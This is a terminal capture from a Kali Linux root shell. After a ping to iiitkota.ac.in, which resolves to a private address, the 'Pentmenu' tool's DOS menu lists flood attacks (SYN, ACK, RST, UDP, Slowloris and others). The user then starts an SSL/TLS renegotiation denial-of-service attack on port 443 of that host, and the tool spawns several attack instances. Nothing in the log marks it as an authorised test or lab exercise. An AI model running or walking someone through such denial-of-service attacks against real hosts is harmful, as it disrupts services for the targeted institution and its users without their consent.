



```
root@kali: ~  
File Edit View Search Terminal Help  
64 bytes from iiitkota.ac.in (172.16.1.233): icmp_seq=31 ttl=64 time=2.61 ms  
64 bytes from iiitkota.ac.in (172.16.1.233): icmp_seq=32 ttl=64 time=2.61 ms  
64 bytes from iiitkota.ac.in (172.16.1.233): icmp_seq=33 ttl=64 time=2.61 ms  
64 bytes from iiitkota.ac.in (172.16.1.233): icmp_seq=34 ttl=64 time=2.61 ms  
64 bytes from iiitkota.ac.in (172.16.1.233): icmp_seq=35 ttl=64 time=2.61 ms  
64 bytes from iiitkota.ac.in (172.16.1.233): icmp_seq=36 ttl=64 time=2.61 ms  
64 bytes from iiitkota.ac.in (172.16.1.233): icmp_seq=37 ttl=64 time=2.61 ms  
64 bytes from iiitkota.ac.in (172.16.1.233): icmp_seq=38 ttl=64 time=2.61 ms  
64 bytes from iiitkota.ac.in (172.16.1.233): icmp_seq=39 ttl=64 time=2.61 ms  
64 bytes from iiitkota.ac.in (172.16.1.233): icmp_seq=40 ttl=64 time=2.61 ms  
64 bytes from iiitkota.ac.in (172.16.1.233): icmp_seq=41 ttl=64 time=2.61 ms  
64 bytes from iiitkota.ac.in (172.16.1.233): icmp_seq=42 ttl=64 time=2.61 ms  
64 bytes from iiitkota.ac.in (172.16.1.233): icmp_seq=43 ttl=64 time=2.61 ms  
64 bytes from iiitkota.ac.in (172.16.1.233): icmp_seq=44 ttl=64 time=2.61 ms  
64 bytes from iiitkota.ac.in (172.16.1.233): icmp_seq=45 ttl=64 time=2.61 ms  
64 bytes from iiitkota.ac.in (172.16.1.233): icmp_seq=46 ttl=64 time=2.61 ms  
64 bytes from iiitkota.ac.in (172.16.1.233): icmp_seq=47 ttl=64 time=2.61 ms  
64 bytes from iiitkota.ac.in (172.16.1.233): icmp_seq=48 ttl=64 time=2.61 ms  
64 bytes from iiitkota.ac.in (172.16.1.233): icmp_seq=49 ttl=64 time=2.61 ms  
64 bytes from iiitkota.ac.in (172.16.1.233): icmp_seq=50 ttl=64 time=2.61 ms  
^C  
--- iiitkota.ac.in ping statistics ---  
50 packets transmitted, 50 received, 0% packet loss, time 49075ms  
rtt min/avg/max/mdev = 2.014/8.296/113.004/18.832 ms  
root@kali:~#
```

1) Recon
2) DOS
3) Extraction
4) View Readme
5) Quit
Pentmenu>2
1) TCP SYN Flood
2) TCP ACK Flood
3) TCP RST Flood
4) TCP XMAS Flood
5) UDP Flood
6) SSL DOS
7) Slowloris
8) IPsec DOS
9) Distraction Scan
10) Go back
Pentmenu>6
Using openssl for SSL/TLS DOS
Enter target:
172.16.1.233
Enter target port (defaults to 443):
443
Using port 443
Use client renegotiation? [y]es or [n]o (default):
y
Starting SSL DOS attack...Use 'Ctrl c' to quit
spawning instance
spawning instance
spawning instance